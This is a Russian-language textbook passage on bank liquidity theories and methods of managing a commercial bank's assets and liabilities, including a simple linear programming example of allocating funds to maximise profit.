Эта теория уходит корнями в английскую банковскую практику XVIII в. Защитники этой теории утверждают, что коммерческий банк сохраняет свою ликвидность, пока его активы размещены в краткосрочные ссуды, своевременно погашаемые при нормальном состоянии деловой активности. Иными словами, банкам следует финансировать последовательные стадии движения товаров от производства к потреблению. В наше время эти ссуды получили бы название ссуд под товарные запасы или на пополнение оборотного капитала. На протяжении почти всей истории банковского дела считалось, что банки не должны кредитовать покупку ценных бумаг, недвижимости или потребительских товаров или предоставлять долгосрочные кредиты сельскому хозяйству.

Теория коммерческих ссуд была ведущей банковской теорией в США с колониальных времен до конца 30-х годов нынешнего столетия. Например, устав Нью-йоркского банка, относящийся к 1784 г., предусматривал, что срок дисконтирования векселей “… наступает еженедельно по четвергам, а векселя и другие обязательства, приобретенные для учета, должны быть переданы в банк в среду утром в запечатанном пакете на имя Уильяма Ситона, казначея. Учетная ставка в настоящее время составляет 6% годовых; но к учету не будут приниматься векселя со сроком свыше 30 дней, равно и векселя, предъявленные к учету, чтобы оплатить обязательства, выданные ранее”.

Основные принципы этой теории были зафиксированы в раннем банковском законодательстве, а ее господство отражено в действующих правилах ФРС относительно переучета векселей банков-членов. Коммерческие или сельскохозяйственные векселя, приемлемые для учета, должны быть обеспечены стандартной продукцией сельского хозяйства или другими товарами, или же иными материальными ценностями; далее, их срок к моменту учета не должен превышать 90 дней, кроме сельскохозяйственных векселей, срок которых к моменту учета может составлять до девяти месяцев.

Хотя теория коммерческих ссуд широко пропагандировалась экономистами, органами контроля и регулирования, банками, ее применение на практике не было столь строгим. Основным недостатком теории было то, что она не учитывала кредитных потребностей развивающейся экономики. Строгое соблюдение теории запрещало банкам финансировать расширение предприятий и оборудования, приобретение домов, скота, земли. Неспособность банков удовлетворять подобного рода потребности в кредите явилась важным фактором в развитии конкурирующих финансовых институтов, таких, как взаимосберегательные банки, ссудосберегательные ассоциации, финансовые компании потребительского кредита и кредитные союзы.

Эта теория также не смогла учесть относительную стабильность банковских вкладов. Банковские вклады могут быть изъяты по требованию, но вряд ли все вкладчики одновременно снимут свои средства. Стабильность вкладов позволяет банку размещать средства на умеренно длительные сроки без ущерба для ликвидности. Далее, теория исходила из того, что при нормальном ходе дел все ссуды будут погашены своевременно, В периоды высокой деловой активности торговые и промышленные компании не встречают трудностей при погашении своих обязательств. Однако в периоды экономического спада или финансовой паники цепочка “наличные – товарные запасы – реализация – дебиторы по расчетам – наличные” нарушается, и фирме становится затруднительно, а порой и невозможно погасить банковскую ссуду.

И наконец, последний недостаток этой теории заключается в том, что краткосрочная самоликвидирующаяся коммерческая ссуда обеспечивает ликвидность в условиях нормального экономического развития, но не в условиях экономического спада, когда ликвидные средства особенно необходимы. В эти периоды оборот товарных запасов и дебиторской задолженности замедляется, и многие фирмы затрудняются погасить ссуду при наступлении ее срока. И если отдельные банки могут поддерживать ликвидность, размещая средства в самоликвидирующиеся ссуды, банковская система в целом испытывает нехватку ликвидных средств в тяжелые времена.

Теория перемещения

Теория перемещения (shiftability theory) основана на утверждении, что банк может быть ликвидным, если его активы можно переместить или продать другим кредиторам или инвесторам за наличные. Если кредиты не погашаются в срок, переданные в обеспечение ссуды товароматериальные ценности (например, рыночные ценные бумаги) могут быть проданы на рынке за наличные; в случае нужды в средствах ссуды могут 6ыть рефинансированы в Центральном банке. Таким образом, условием покрытия потребностей отдельного коммерческого банка в ликвидных ресурсах является постоянное наличие активов, которые можно продать. Аналогичным образом банковская система будет ликвидной, если Центральный банк будет свободно покупать предлагаемые для переучета активы.

Легко реализуемые рыночные ценные бумаги долгое время рассматривались в качестве прекрасном источника ликвидных ресурсов. Такие ценные бумаги можно легко превратить в наличные, поэтому на них часто ссылаются как на резервы второй очереди. Чтобы обеспечить конвертируемость без задержек и потерь, вторичные резервы должны отвечать трем требованиям: высокое качество, короткий срок погашения, реализуемость. Они должны быть свободны от кредитного риска и риска изменения рыночных процентных ставок, а также продаваться на рынке с краткосрочным уведомлением.

В отношении срока погашения к активам, используемым как резерв ликвидности, не предъявляется определенных требований, но общим правилом будет: чем короче срок, тем лучше. Более реалистичным считается такой подход, при котором воздействие риска изменения номинальных ставок будет незначительным. Нормальным для включения первоклассных легкореализуемых ценных бумаг в резервы второй очереди многие банкиры считают срок погашения в один год меньше. Однако этот приближенный ориентир может меняться под влиянием номинальных ставок денежного рынка. Если же ставки подвержены сильным колебаниям или повышаются, потребуются бумаги с меньшим сроком.

Условиями качества и реализуемости отвечает целый ряд видов ценных бумаг. Наиболее подходящими для вторичных резервов являются казначейские векселя, а также и другие ценные бумаги федерального правительства и его органов. Правительственные облигации считаются приемлемыми, если близок срок их погашения, поскольку риск изменения номинальной нормы процента тем меньше, чем короче срок. Приемлемы также краткосрочные ценные бумаги таких правительственных учреждений, как Управление по кредитованию жилищного строительства в сельской местности, Экспортно-импортный банк, Федеральный банк среднесрочном кредита, Федеральный банк по кредитованию жилищного строительства, Банк по кредитованию кооперативов.

Некоторые первоклассные краткосрочные ценные бумаги частного неправительственного сектора также могут использоваться в качестве вторичных резервов. К ним относятся банковские акцепты и коммерческие бумаги, реализуемые на открытом рынке. Банковский акцепт представляет собой акцептованную банком тратту со сроком платежа обычно до 180 дней. Появление банковского акцепта связано главным образом с финансированием международной торговли, хотя он может быть и результатом финансирования обращения и складирования товаров во внутренней торговле. Рынок банковских акцептов отличается высокой активностью, а сами бумаги приемлемы для переучета в федеральных резервных банках.

Для резервов второй очереди банки могут покупать коммерческие бумаги. Последние представляют собой векселя, выпускаемые корпорациями на сравнительно короткие сроки, обычно не более 4 – 6 месяцев. Чтобы занимать деньги таким способом, корпорация должна обладать очень высокой кредитоспособностью. Векселя выпускаются, как правило, крупного достоинства, оплачиваются эмитенту и индоссируются без ограничения. При этом они становятся документом на предъявителя и могут передаваться из рук в руки без последующих индоссаментов. Коммерческие бумаги часто хранятся в банке до истечения срока, хотя дилеры могут их выкупить по предварительному соглашению.

Хотя теория перемещения в известной степени обоснована, сотни банков, следовавших ее указаниям, не избежали проблемы ликвидности в 20-е и 30-е годы. Некоторые банки чрезмерно полагались на ликвидность онкольных ссуд, обеспеченных ценными бумагами, рассчитывая на то, что эти ссуды могут быть отозваны в течение, 24 часов. К сожалению, когда рыночная стоимость ценных бумаг покатилась вниз, банки обнаружили, что погашение этих ссуд несет убытки.

Теория ожидаемого дохода

Согласно этой теории, банковскую ликвидность можно планировать, если в основу графика платежей в погашение кредитов положить будущие доходы заемщика. Она не отрицает рассмотренных выше теорий, но подчеркивает, что увязка доходов заемщика с погашением ссуды предпочтительнее, чем акцент на обеспечении кредита. Данная теория утверждает далее, что на банковскую ликвидность можно воздействовать, изменяя структуру сроков погашения кредитов и инвестиций. Краткосрочные кредиты промышленности более ликвидны, чем срочные ссуды, а кредиты потребителям на оплату покупок в рассрочку более ликвидны, чем ипотечные ссуды под жилые строения.

Теория признает развитие и быстрый рост отдельных видов кредитов, в настоящее время составляющих значительную часть кредитного портфеля коммерческих банков: срочных кредитов деловым фирмам, потребительских кредитов с погашением в рассрочку, ссуд под недвижимость. Эти ссуды имеют одно общее свойство, повышающее ликвидность, а именно: их можно погашать в рассрочку. Портфель, значительную часть которого составляют кредиты, предусматривающие ежемесячные или ежеквартальные платежи в счет погашения основного долга и процентов, ликвиден, поскольку регулярные потоки наличных средств легко планировать. Когда нужны ликвидные средства, наличные можно использовать, в противном случае они реинвестируются для поддержания ликвидности в будущем.

Теория ожидаемого дохода содействовала тому, что многие банки положили в основу формирования портфеля инвестиций эффект ступенчатости: ценные бумаги так подбираются по срокам погашения, чтобы поступления были регулярными и предсказуемыми, В этом случае портфель инвестиций по показателю регулярности платежей наличными приближается к портфелю кредитов с регулярным погашением долга и процентов.

Сущность управления активами

Под управлением активами понимают пути и порядок размещения собственных и привлеченных средств. Применительно к коммерческим банкам – это распределение на наличные деньги, инвестиции, ссуды и другие активы. Особое внимание при размещении средств уделяется инвестициям в ценные бумаги и ссудным операциям, в частности составу портфелей ценных бумаг и непогашенных ссуд.

Очевидным решением проблемы размещения средств является “покупка” таких активов (предоставление ссуд и инвестиций), которые могут принести наивысший доход при том уровне риска, на который готово пойти руководство банка. Однако управление фондами в коммерческих банках осложняется целым рядом факторов. Во-первых, поскольку банки являются наиболее регулируемой отраслью предпринимательства, постольку они должны осуществлять размещение средств в строгом соответствии с законами и предписаниями органов контроля. Во-вторых, отношения между банками и его клиентами по ссудам и вкладам строятся на основе доверия и помощи. И, наконец, держатели акций коммерческого банка, подобно всем прочим инвесторам, рассчитывают на норму доходности, соответствующую инвестированному риску и сравнимую по величине с прибылью от аналогичных инвестиций.

Юридические акты и предписания воздействуют на активные операции коммерческих банков двумя путями: определяя порядок инвестирования части банковских средств для тех или иных активных операций.

Подавляющая часть привлеченных банком средств подлежит оплате по первому требованию клиентов или с очень коротким сроком уведомления. Вот почему первоочередным условием разумного управления банком является обеспечение способности удовлетворять требования вкладчиков. Второе условие – наличие средств, достаточных для удовлетворения обоснованных потребностей в кредите банковских процентов. Предоставление такого кредита – главный вид коммерческой деятельности банка. Неспособность банка удовлетворить обоснованные потребности клиентов в кредитах приведет к немедленной потере банком выгодных операций и в конечном итоге – к возможному краху банка как жизнеспособного коммерческого предприятия.

Коммерческие банки относятся к частным деловым организациям, деятельность которых должна быть достаточно прибыльной при ограничениях относительно ликвидности и безопасности. В то же время, роль банков как поставщика подавляющей части денежной массы страны возлагает на представителей этой отрасли экономики большую ответственность перед обществом. Общество не должно иметь повода ставить под сомнение платежеспособность, ликвидность или устойчивость банковской системы, а вкладчики должны иметь полную уверенность в надежности любого банка. В некотором отношении цели вкладчиков банка и держателей его акций несовместимы. Эта несовместимость находит отражение в неизбежном противоречии между требованиями ликвидности и желаемой прибыльностью операций, которое проявляется фактически в каждой финансовой сделке коммерческого банка.

Этот конфликт между ликвидностью и прибыльностью можно стать центральной проблемой, которую решает банк при размещении средств. С одной стороны, руководство банка ощущает давление держателей акций, заинтересованных в более высоких доходах, которые могут быть получены за счет вложения средств в долгосрочные ценные бумаги, кредитования заемщиков с сомнительной кредитоспособностью и сокращения неиспользуемых остатков. Но с другой стороны, руководство банка столь же хорошо знает, что все действия серьезно ухудшают ликвидность банка, необходимую при изъятии вкладов и для удовлетворения спроса на кредит со стороны давних клиентов.

Кредитный и инвестиционный риск иногда рассматривают как дисперсию вероятных вариантов получения дохода. Например, от вложений в самые краткосрочные ценные бумаги правительства инвестор ожидает получить вполне определенный доход. С другой стороны, инвестиции в низкосортные промышленные облигации сроком в 20 лет подвержены и кредитному риску, и риску измен процентных ставок. А результат от этих инвестиций может варьировать от потери всех вложенных средств до получения предусмотренного дохода полностью, если облигации будут храниться до момента истечения срока. При столь широком диапазоне возможных источников дохода обычно только более высокий процент может убедить инвестора вложить средства и пойти на риск потери части обещанных доходов. Сопоставление риска с нормой прибыли показано на рис №1, где риск (дисперсия возможных доходов) выражен стандартным отклонением ожидаемой нормы прибыли на инвестиции. По мере возрастания риска (в результате увеличения кредитного риска или срока инвестирования) ожидаемая норма прибыли также растет. Кривая рынка капитала отражает компромисс между степенью риска и требуемой нормой прибыли на этом рынке. Таким образом, банк, вкладывающий средства в потенциально более прибыльные инвестиции и кредиты, одновременно идет на повышенный риск.

Существует взаимозависимость между активными операциями и операциями пассивными, которые рассматриваются в следующем разделе. Ликвидность можно обеспечить, поддерживая высокий уровень кассовой наличности или помещая средства в высоколиквидные активы, а также гарантировав банку возможность привлекать дополнительные вклады и занимать деньги из других источников. Большая изменчивость суммы вкладов, требования досрочного погашения долгов также обусловливают необходимость увеличения ликвидных активов. К тому же имеется прямая связь между издержками банка по вкладам и заемным средствам, с одной стороны, и доходами от различных активных операций — с другой. Повышать прибыльность банковских операций, не выходя за границы ликвидности, помогает тщательное сопоставление предельных издержек по привлеченным средствам и предельных доходов от кредитов и инвестиций.

Методы управления активами

Таким образом коммерческие банки должны распределять привлеченные средства в различные виды активных операций не снижая прибыльность и ликвидность. При этом коммерческие банки могут руководствоваться тремя методами размещения средств

Метод общего фонда средств.

Схематически этот метод представлен на рисунке №2.

Средства, за размещение которых отвечает управляющий коммерческого банка, поступают из различных источников, включая вклады до востребования, сберегательные, срочные вклады, а также собственный капитал банка. В основе рассматриваемого метода лежит идея объединения всех ресурсов. Затем совокупные средства распределяются между теми видами активов (ссуды, правительственные ценные бумаги, кассовая наличность и т.д.), которые считаются подходящими. В модели общего фонда средств для осуществления конкретной активной операции не имеет значения, из какого источника поступили средства, пока их размещение содействует достижению поставленных перед банком целей.

Данный метод требует от руководства банка равного соблюдения принципов ликвидности и прибыльности. Поэтому средства помещаются в такие виды активных операций, которые наиболее полно соответствуют этим принципам. Размещение средств осуществляется в соответствии с определенными приоритетами, назначение которых — помочь руководству оперативных отделов решить проблему сочетания ликвидности и прибыльности. Эти приоритеты подсказывают, какая часть каждого доллара или тенге имеющихся у банка средств должна быть помещена в резервы первой или второй очереди, использована для ссуд и покупки ценных бумаг, чтобы это принесло доход. Вопросы инвестирования средств в земельные участки, здания и прочую недвижимость обычно рассматриваются отдельно.

Задачей номер один при определении структуры размещения средств является установление их доли, выделяемой в качестве первичного резерва. Эта категория активов носит функциональный характер, она не фигурирует в балансовых отчетах коммерческих банков. Тем не менее банкиры придают ей большое значение и включают в первичные резервы те активы, которые могут быть немедленно использованы для выплаты изымаемых вкладов и удовлетворения заявок на кредиты. Это — главный источник ликвидности коммерческого банка. В большинстве случаев в роли первичных резервов фигурируют активы, включаемые в статью “наличность и задолженность других банков”, куда входят средства на корсчетах в Национальном банке, средства на корреспондентских счетах (вклады) в других коммерческих банках, наличные деньги в сейфе и чеки, а также другие платежные документы в процессе инкассирования.

Необходимо отметить, что резервы первой очереди включают как обязательные резервы, служащие обеспечением обязательств по вкладам, так и остатки наличных денег, достаточные, по мнению руководства банка, для повседневных расчетов. На практике величину средств, включаемых в первичные резервы, определяют обычно на основе среднего для всех примерно одинаковых банков отношения наличных активов к сумме вкладов или к сумме всех активов.

Задачей номер два при размещении средств будет создание “некассовых” ликвидных активов, которые к тому же приносят определенный доход. Эти резервы включают высоколиквидные доходные активы, которые с минимальной задержкой и незначительным риском потерь можно превратить в наличные средства. Основное назначение резервов второй очереди — служить источником пополнения первичных резервов. Как и последние — это скорее экономическая категория, нежели бухгалтерская, и она также не фигурирует в банковском балансе. Во вторичные резервы входят активы, которые обычно составляют портфель ценных бумаг, и — в некоторых случаях — средства на ссудных счетах.

Объем вторичных резервов определяется косвенно, теми же факторами, под воздействием которых изменяются вклады и ссуды. Банку, у которого сумма вкладов и спрос на кредит сильно колеблются, требуется больший резерв второй очереди, чем банку с устойчивым объемам, вкладов и кредитов.

Как и для резервов первой очереди, для вторичных резервов также устанавливают определенный процент от общего объема средств. Отправной точкой может служить общий показатель для всех банков страны, хотя он не всегда отвечает потребностям отдельного банка. В качестве примерного индикатора ликвидности банковской системы в целом иногда используется коэффициент, показывающий отношение суммы наличных денег и правительственных бумаг к общей сумме вкладов во всех коммерческих банках.

Третий этап размещения средств по методу общего фонда средств — формирование портфеля кредитов. После того как банк определил размеры первичных и вторичных резервов, он может предоставлять ссуды своим клиентам. Это важнейший вид банковской деятельности, приносящий доход. Ссуды — самая важная часть банковских активов, а доходы по ссудам — самая крупная составляющая банковской прибыли. Ссудные операции являются одновременно и самым рискованным видом банковской деятельности.

И наконец, в последнюю очередь при размещении средств определяется состав портфеля ценных бумаг. Средства, остающиеся после удовлетворения обоснованных потребностей клиентов в кредитах, могут быть помещены в сравнительно долгосрочные первоклассные ценные бумаги. Назначение портфеля инвестиций — приносить банку доход и быть дополнением резерва второй очереди по мере приближения срока погашения долгосрочных ценных бумаг.

Использование метода общего фонда средств в управлении активами дает банку широкие возможности выбора категорий активных операций. Этот метод устанавливает приоритеты, которые формулируются довольно общо. В то же время указанный метод не содержит четких критериев для распределения средств по категориям активов и не дает решения дилеммы “ликвидность — прибыльность”. Последнее зависит от опыта и интуиции банковского руководства.

Метод распределения активов.

Выше отмечалось, что при подходе к размещению средств с позиций общего фонда средств излишне много внимания уделяется ликвидности и не учитываются различия требований ликвидности по отношению к вкладам до востребования, сберегательным вкладам, срочным вкладам и основному капиталу. По мнению многих банковских деятелей, этот недостаток служит причиной нарастающего сокращения нормы прибыли. С течением времени срочные и сберегательные вклады, требующие меньшей ликвидности, чем вклады до востребования, растут более высокими темпами. Метод распределения активов, известный также как метод конверсии средств, позволяет преодолеть ограниченность метода общего фонда средств.

Модель распределения активов устанавливает, что размер необходимых банку ликвидных средств зависит от источников привлечения фондов. Схематически она показана на рисунке №3. Этим методом делается попытка разграничить источники средств в соответствии с нормами обязательных резервов и скоростью их обращения или оборачиваемостью. Например, вклады до востребования требуют более высокой нормы обязательных резервов по сравнению со сберегательными и срочными вкладами и скорость их оборота, как правило, также выше, чем у других видов вкладов. Поэтому большая доля каждого доллара вклада до востребования должна помещаться в первичные и вторичные резервы и меньшая часть — в такие инвестиции, как ссуды под закладные на жилые дома или долгосрочные облигации муниципальных органов. Данная модель предполагает создание нескольких “прибыльных центров” (или “центров ликвидности”) внутри самого банка, используемых для размещения средств, привлеченных банком из разных источников. Эти структурные подразделения часто называют “банками внутри банка”, поскольку размещение средств каждым из этих центров осуществляется независимо от размещения средств других центров. Иными словами, в банке как бы существуют обособленные друг от друга банк вкладов до востребования, банк сберегательных вкладов, банк срочных вкладов и банк основного капитала.

Установив принадлежность средств к различным центрам с точки зрения их ликвидности и прибыльности, руководство банка определяет порядок их размещения каждым центром. Вклады до востребования требуют самого высокого покрытия обязательными резервами и имеют наивысшую скорость обращения, достигающую иногда 30 и даже 50 оборотов в год. Следовательно, значительная часть средств из центра вкладов до востребования будет направлена в резервы первой очереди (скажем, на один процент больше, чем установлено нормой обязательных резервов), оставшаяся часть вкладов до востребования будет размещена преимущественно во вторичные резервы посредством инвестирования их в краткосрочные государственные ценные бумаги, и только сравнительно небольшие суммы будут предназначены для предоставления ссуд, главным образом в форме краткосрочных коммерческих кредитов. Как видно из рисунка №3, средства из центра вкладов до востребования не размещаются в прочие ценные бумаги и основные фонды. Требования ликвидности для центров сберегательных вкладов и срочных вкладов несколько ниже, поэтому данные средства будут помещены большей частью в ссуды и инвестиции. Основной капитал почти не требует покрытия ликвидными активами и используется для вложения в здания и землю, а оставшиеся средства предназначаются для долгосрочных кредитов и менее ликвидных ценных бумаг, т.е. используются для увеличения доходов банка.

Главным преимуществом рассматриваемого метода является уменьшение доли ликвидных активов и вложений дополнительных средств в ссуды и инвестиции, что ведет к увеличению нормы прибыли. Сторонники метода распределения активов утверждают, что повышение нормы прибыли достигается устранением избытка ликвидных активов, противостоящих сберегательным и срочным вкладам и основному капиталу.

Однако и этот метод имеет недостатки, снижающие его эффективность. Хотя в основу выделения различных “прибыльных центров” положена скорость обращения различных типов вкладов, может не быть тесной связи между скоростью обращения вкладов той или иной группы и колебаниями общей суммы вкладов этой группы. Например, средства, помещенные во вклады до востребования, могут обернуться до 40 раз в год. В то время как одни клиенты изымают деньги с помощью чеков, другие, напротив, вносят деньги в банк, остатки средств на вкладах до востребования (как и общая сумма депозитной задолженности банка) могут колебаться в течение года всего лишь в пределах 10%. Пока банк функционирует, его задолженность перед клиентами по депозитам сводится к минимуму. Как показывает практика, часть средств, внесенных на вклад до востребования, никогда не будет изъята и с полным основанием может быть инвестирована в долгосрочные высокодоходные ценные бумаги.

Другим недостатком этого метода является то, что он предполагает независимость источников средств от путей их использования. На деле это далеко не так. Например, банкиры-практики стремятся привлечь больше вкладов от деловых фирм, ибо эти фирмы, как правило, занимают деньги в том же банке, где им открыты чековые счета. Следовательно, привлечение новых вкладов означает одновременно обязательство банка удовлетворять часть заявок на кредиты со стороны новых вкладчиков. А это значит, что часть новых вкладов должна быть направлена на кредитование владельцев этих вкладов.

Другие недостатки равно касаются и метода общего фонда средств, и метода распределения активов. Оба метода делают акцент на ликвидности обязательных резервов и возможном изъятии вкладов, уделяя меньше внимания необходимости удовлетворять заявки клиентов на кредит. Между тем хорошо известно, что по мере подъема деловой активности растут и вклады, и кредиты. Если наступает такой период, банку, помимо установленных норм обязательных резервов, потребуется лишь немного дополнительных ликвидных средств для покрытия изъятия вкладов, особенно если экономист банка способен вполне точно предсказать, когда деловая активность и приток вкладов начнут убывать. В этом случае ликвидные средства потребуются главным образом для покрытия спроса на кредит, который, возможно, будет расти более высокими темпами, чем вклады.

Следует также учесть наличие сезонных колебаний у отдельных банков, при которых спрос на кредит может расти именно в тот момент, когда объем вкладов снизился. Кроме того, под воздействием проводимой денежно-кредитной политики спрос на кредиты в периоды подъема может опережать рост вкладов, а в периоды спада деловой активности темпы роста депозитов у всех банков выше; в условиях бума умеренному росту вкладов противостоит высокий спрос на кредиты.

Оба рассмотренных метода имеют и еще один недостаток: они опираются на средний, а не предельный уровень ликвидности. Среднее отношение кассовой наличности и правительственных ценных бумаг к общей сумме вкладов может быть достаточным для оценки ликвидности банковской системы в целом, но оно не подскажет руководству отдельного банка, какова должна быть его кассовая наличность на следующей неделе, чтобы покрыть изъятие вкладов и заявки на кредит. Только анализ счетов отдельных клиентов банка и хорошее знание хозяйственных и финансовых условий на местном рынке позволят банку определить потребности в наличных деньгах на данный момент.

Рассмотренные два метода являются несколько упрощенными. Их следует рассматривать не как комплекс нормативных указаний, дающий основу для принятия решений, а как общую схему, в рамках которой руководство банка может определить подход к решению проблемы управления активами. Использование любого из этих методов предполагает способность группы компетентных руководителей исследовать весь комплекс взаимосвязей и вводить те усложнения в анализ и принятие решений, которые соответствуют конкретному положению данного банка.

Метод научного управления.

Управление активами с помощью научных методов и исследования операций предполагает использование более сложных моделей и современного математического аппарата для анализа сложных взаимосвязей между различными статьями банковского баланса и отчета о прибылях и убытках. Этот подход может оказать большую помощь руководству банка в принятии решений.

Два метода, рассмотренные в предыдущих разделах, сводятся к применению простейших приемов научного управления для анализа связей между различными статьями актива и пассива. Они указывают пути размещения всех доступных для инвестирования средств таким образом, чтобы обеспечить достаточную норму прибыли, осуществляя операции в пределах ограничений ликвидности, установленных руководством банка (т.е. изнутри) или органами банковского контроля (т.е. извне).

Более сложная методика предполагает научный подход к решению управленческих проблем с использованием прогрессивных математических методов и ЭВМ для изучения взаимодействия элементов в сложных моделях. Этот подход требует определения целей, установления связей между различными элементами проблемы, идентификации переменных, находящихся и не находящихся под контролем руководства, оценки возможного поведения неконтролируемых переменных и выявления тех внутренних и внешних ограничений, которые регламентируют действия руководства. Метод научного управления делает попытку ответить на три вопроса: “в чем суть проблемы?”, “каковы варианты ее решения?”, “какой вариант наилучший?”

Одним из методов, используемых специалистами по управлению для решения производственных проблем, является линейное программирование. Далее следует его описание, чтобы проиллюстрировать, как используются научные методы для выработки решений при управлении активами коммерческого банка. Этот метод увязывает проблему управления активами с проблемой управления пассивами, с учетом ограничений в отношении как прибыльности операций, так и ликвидности.

При управлении активами и в иных сферах деятельности руководство коммерческого банка может эффективно использовать также и другие методы научного управления.

Модель линейного программирования

— это метод математического моделирования, выражающий взаимосвязь различных элементов принятия решений в стандартной математической форме. Модель использует один из стандартных вычислительных методов, например, симплекс-метод, для определения оптимального сочетания элементов, подлежащих контролю со стороны лица, принимающего решения. Математические и вычислительные аспекты модели и ее конкретное применение — дело весьма сложное, однако совсем не обязательно, чтобы их разрабатывали лица, применяющие линейное программирование. За пределами учебных аудиторий никто не занимается линейным программированием вручную. Для облегчения использования таких сложных моделей созданы стандартные вычислительные программы. И тем не менее крайне важно, чтобы руководство могло выделить те виды проблем в области принятия решений, которые можно освоить с помощью метода линейного программирования, понимало банковское и экономическое содержание различных допущений модели, было в состоянии помочь инженерам-математикам и специалистам по исследованию операций проанализировать проблему, могло интерпретировать и оценивать результаты анализа.

Каждая модель линейного программирования имеет определенные характеристики. Полагают, что задача наиболее успешно решается с помощью переменных, контролируемых лицом, принимающих решения, причем необходимо, чтобы в наличии имелось несколько альтернатив использования указанных переменных. Каждый из альтернативных путей имеет одно или более ограничений с точки зрения способности лица, принимающего решения, контролировать решающие переменные. Линейное программирование представляет собой детерминированную модель, приводящую к единственному оптимальному решению, так что характер ограничений должен быть точно известен или поддаваться аппроксимации. Целевая функция должна быть непрерывной, т.е. коэффициенты решающих переменных должны допускать возможность задавать им любые значения. Цель должна быть оформлена — иногда путем аппроксимации — в линейном виде, иными словами, каждая переменная, определяющая решение, должна вносить свой вклад в значение целевой функции и в уравнения, описывающие ограничения.

Модель линейного программирования требует формулирования цели, которая должна быть оптимизирована, в явном виде. Оптимизация может состоять, например, в максимизации прибыли или минимизации издержек. В задаче управления активами цель — довести до максимальной величины прибыль от размещения активов в различные категории ценных бумаг, которые можно купить. Например, упростив ситуацию, предположим, что руководство банка намерено разместить средства в такой комбинации, которая принесет наибольший доход. Решающие переменные или возможные альтернативы могут включать краткосрочные государственные ценные бумаги, приносящие 4% годовых, долгосрочные правительственные облигации (5% годовых)), первоклассные коммерческие ссуды (со средней доходностью 6%), срочные ссуды деловым фирмам (средняя доходность 7%), обязательства по приобретению в рассрочку автомобилей (8%) и/или другие ссуды потребителям для покупок в рассрочку (12%). Выше приведены показатели чистой доходности после вычета расходов банка по обслуживанию различных видов активов. Если допустить, что переменная х представляет суммы, которые будут инвестированы в различные категории активов, то получение прибыли (Р) от этих. инвестиций можно описать следующей формулой:

P = 0,04х1 + 0,05х2 + 0,06х3 + 0,07х4 + 0,08х5 + 0,12х6

Целью решения этой задачи будет максимизация прибыли — величины Р. Если банкир вправе идти на любой риск, не связан требованием ликвидности и не должен соблюдать какие-либо юридические ограничения в отношении инвестиций, решение такого уравнения не составляет труда. Ответом будет инвестирование всех имеющихся средств в ссуды потребителям в рассрочку (х6), приносящие 12% годовых. Это абсолютно нереально, ибо у банка есть и другие клиенты, требующие его внимания, к тому же существующие нормы регулирования банковских операций и соображения предосторожности не допускают подобной однобокости.

Инвестиции коммерческих банков ограничиваются законами и предписаниями органов контроля. Из них одни связаны с экономическими условиями, другие устанавливаются руководством банка для обеспечения здоровых принципов банковской деятельности. Некоторые ограничения труднее выразить математической формулой, другие — проще. Одни являются абсолютными, другие зависят от усмотрения руководства. Например, сумма кассовой наличности и вкладов в Национальном банке должна быть по меньшей мере равна минимальным резервам, обязательным для банка. Эту величину легко выразить в процентном отношении к сумме вкладов различных категорий. С другой стороны, максимальная сумма, которую можно вложить в первоклассные срочные ссуды, ограничена объемом кредитных заявок, которые предъявляются банку. Однако этот объем, даже в отношении ближайшего будущего, — величина не вполне определенная. Руководители банка должны составлять прогнозы и оценивать ожидаемый спрос на кредиты.

Решение системы уравнений линейного программирования укажет, какие суммы следует инвестировать в каждый вид активов, чтобы максимизировать прибыль при заданном наборе допущений, включенных в модель. Вполне вероятно, что потребуется рассчитать программу несколько раз, меняя наборы допущений, чтобы проверить чувствительность результатов к изменению допущений.

Метод научного управления банковскими активами дает заметные преимущества банкам, располагающим либо сотрудниками, либо консультантами, математическая подготовка которых позволяет его использовать. Руководство банка должно рассматривать подобные методы как путь совершенствования процесса принятия решений, но не как замену их собственного опыта суждений. Использование достаточно разработанной модели линейного программирования позволит руководству банка увидеть последствия некоторых его решений. Модель можно использовать для проверки чувствительности этих решений к изменениям экономической конъюнктуры или к ошибкам в прогнозах. И уж конечно, она полезна тем, что позволяет использовать преимущество быстрой обработки данных на компьютерах для обобщения сложных взаимодействий большого числа переменных, с которыми управляющим приходится иметь дело при размещении средств в различные активы.

Однако на завершающей стадии анализа руководство банка должно принять на себя ответственность за формулирование модели и за те решения, которые основываются на полученной благодаря, ей информации. Одно из главных преимуществ, которое получает руководство при формулировании модели, состоит в том, что заставляет тщательно определять цели и в явной форме выражать различные ограничения. Более того, этот процесс принуждает руководство банка изучать портфель кредитов и инвестиций для выявления объемов различных видов инвестиций, возможностью дохода и издержек по ним. Полученная информация представляет исключительную ценность независимо от метода ее получения.

Основной недостаток использования научных методов управления касается главным образом мелких банков. Оно предполагает наличие сотрудников или консультантов с соответствующей подготовкой, а также вычислительного оборудования мощности, достаточной для расчета крупных моделей. И то и другое обходится очень дорого.

1.2.2. Управление пассивами

Защитники этой теории утверждают, что банки могут решить проблему ликвидности путем привлечения дополнительных средств с рынка. Первоначально в защиту этой теории наиболее активно выступали крупные банки ведущих финансовых центров, но вскоре ее приняли повсеместно. Ее возникновение связано с восстановлением рынка федеральных фондов в 50-е годы и последующим развитием предаваемых срочных депозитных сертификатов как главного инструмента денежного рынка.

Теория управления пассивами, развивающая и дополняющая политику управления ликвидности коммерческих банков, основывается на следующих двух утверждениях.

Первое – коммерческий банк может решать проблему ликвидности путем привлечения дополнительных денежных средств, покупая их на рынке капитала. Реально данное утверждение нашло практическое воплощение в западных странах.

Второе — коммерческий банк может обеспечить свою ликвидность, прибегая к обширным займам денежных средств в Национальном банке либо у банков-корреспондентов, а также к займам, получаемым на рынке евровалют.

Коммерческие банки широко привлекают заемные средства. За счет них формируется больше 80% общей суммы активов. Благодаря использованию довольно дешевых заемных средств, в том числе депозитов, относительно небольшая прибыль от банковских операций, в конечном счете, должна достигать размеров, обеспечивающих акционерам приемлемый доход.

В широком смысле управление пассивными операциями представляет собой деятельность, связанную с привлечением средств вкладчиков и других кредиторов и определением соответствующей комбинации источников средств для данного банка. В более узком смысле под управлением пассивными операциями стали понимать действия, направленные на удовлетворение нужд в ликвидности путем активного изыскания заемных средств по мере необходимости. Способность размещать депозитные сертификаты и занимать евродоллары или средства в Центральном банке позволяет банку в меньшей степени зависеть от низкодоходных вторичных резервных активов, а это расширяет его возможности получать прибыль. Однако эти операции сопряжены с риском. В управлении пассивными операциями необходимо учитывать и этот добавочный риск и, кроме того, отношение между расходами на привлечение средств и доходом, который можно получить от вложения этих средств в займы или ценные бумаги. Следовательно, взаимосвязь между управлением активами и управлением пассивными операциями имеет решающее значение для прибыльности банка,

